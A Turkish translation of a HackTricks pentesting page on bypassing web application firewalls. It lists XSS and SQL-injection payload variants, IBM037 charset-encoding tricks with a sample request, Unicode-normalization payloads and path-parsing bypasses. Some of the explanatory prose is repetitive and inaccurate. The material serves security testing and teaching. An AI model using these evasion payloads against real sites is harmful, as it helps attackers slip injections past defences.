hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md
2024-02-10 18:14:16 +00:00

9.7 KiB
Raw Blame History

WAF Geçişi

AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Regex Geçişleri

Farklı teknikler, güvenlik duvarlarındaki regex filtrelerini geçmek için kullanılabilir. Örnekler arasında büyük/küçük harf değiştirme, satır sonu eklemek ve payload'ları kodlamak bulunur. Farklı geçiş teknikleri için PayloadsAllTheThings ve OWASP kaynaklarına bakabilirsiniz. Aşağıdaki örnekler bu makaleden alınmıştır.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Karakter Seti Kodlaması

Charset encoding, web uygulamalarında kullanılan karakterlerin nasıl kodlandığını belirleyen bir mekanizmadır. Bu kodlama, web sunucusu ve tarayıcı arasında karakterlerin doğru bir şekilde iletilmesini sağlar. Ancak, bazı durumlarda karakter seti kodlaması, web uygulamalarının güvenliğini artırmak için kullanılan bir güvenlik önlemi olarak da kullanılabilir.

Web uygulamalarını hedef alan saldırganlar, karakter seti kodlamasını manipüle ederek Web Uygulama Güvenlik Duvarı'nı (WAF) atlayabilirler. Bu, saldırganların zararlı kodları veya saldırı vektörlerini gizlemelerine ve web uygulamasının güvenlik önlemlerini aşmalarına olanak tanır.

WAF bypass teknikleri arasında karakter seti kodlamasını manipüle etmek de bulunur. Saldırganlar, karakter seti kodlamasını değiştirerek zararlı kodları veya saldırı vektörlerini gizleyebilirler. Bu, WAF'ın zararlı içeriği algılamasını zorlaştırır ve saldırganlara web uygulamasına erişim sağlar.

Karakter seti kodlamasını manipüle etmek için çeşitli teknikler bulunur. Bunlar arasında karakter seti dönüşümü, karakter seti kaçışı ve karakter seti karıştırma gibi yöntemler bulunur. Saldırganlar, bu teknikleri kullanarak WAF'ı atlayabilir ve web uygulamasına zarar verebilirler.

Karakter seti kodlaması manipülasyonu, web uygulamalarının güvenlik açıklarını tespit etmek ve kapatmak için kullanılan bir pentesting tekniğidir. Bu teknik, web uygulamalarının güvenliğini artırmak ve saldırılara karşı korumak için önemlidir.

# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

Obfuskasyon

Obfuskasyon, saldırganların saldırılarını tespit etmek ve engellemek için kullanılan Web Uygulama Güvenlik Duvarı'nı (WAF) atlatmak için kullanılan bir tekniktir. Obfuskasyon, saldırıyı gizlemek veya saldırıyı WAF tarafından algılanmasını zorlaştırmak için kullanılan çeşitli yöntemleri içerir.

Karakter Kodlaması

Karakter kodlaması, saldırıyı gizlemek için saldırı dizelerini farklı karakterlerle değiştirme işlemidir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır. Örneğin, <script> ifadesini &lt;script&gt; olarak kodlamak, WAF'ın bu ifadeyi algılamasını engeller.

Karakter Dizisi Birleştirme

Karakter dizisi birleştirme, saldırı dizelerini birden çok karakter dizisine bölmek ve ardından bu karakter dizilerini birleştirerek saldırıyı gerçekleştirmektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü saldırı dizisi parçalara ayrıldığı için bütün olarak algılanmaz.

Büyük/Küçük Harf Değiştirme

Büyük/küçük harf değiştirme, saldırı dizelerindeki harfleri büyük veya küçük harflerle değiştirme işlemidir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü harflerin büyük veya küçük olması WAF tarafından farklı şekilde işlenir.

Boşluk Ekleme

Boşluk ekleme, saldırı dizelerine ekstra boşluk karakterleri eklemektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü eklenen boşluk karakterleri saldırıyı değiştirir ve WAF'ın saldırıyı tanımasını engeller.

Karakter Dizisi Karıştırma

Karakter dizisi karıştırma, saldırı dizelerindeki karakterleri rastgele sıralamak veya yerlerini değiştirmektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü saldırı dizisi düzeni değiştiği için WAF tarafından tanınmaz.

HTML Etiketi Ekleme

HTML etiketi ekleme, saldırı dizelerine HTML etiketleri eklemektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü eklenen HTML etiketleri saldırıyı değiştirir ve WAF'ın saldırıyı tanımasını engeller.

URL Kodlaması

URL kodlaması, saldırı dizelerini URL kodlaması kullanarak değiştirmektir. Bu, WAF'ın saldırıyı algılamasını zorlaştırır çünkü URL kodlaması kullanılan saldırı dizisi WAF tarafından farklı şekilde işlenir.

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Uyumluluğu

Unicode normalizasyonunun uygulamasına bağlı olarak (daha fazla bilgi için buraya), Unicode uyumluluğunu paylaşan karakterler WAF'ı atlayabilir ve amaçlanan yükü çalıştırabilir. Uyumlu karakterler burada bulunabilir.

Örnek

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥  --> img src=p onerror='prompt(1)'>

Boyut Sınırlarını Aşma

Bulut tabanlı WAF'lerde, yük boyutu X'ten büyükse, istek WAF tarafından kontrol edilmez. Bunları atlamak için sadece bunu kullanabilirsiniz.

IP Dönüşümü

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları: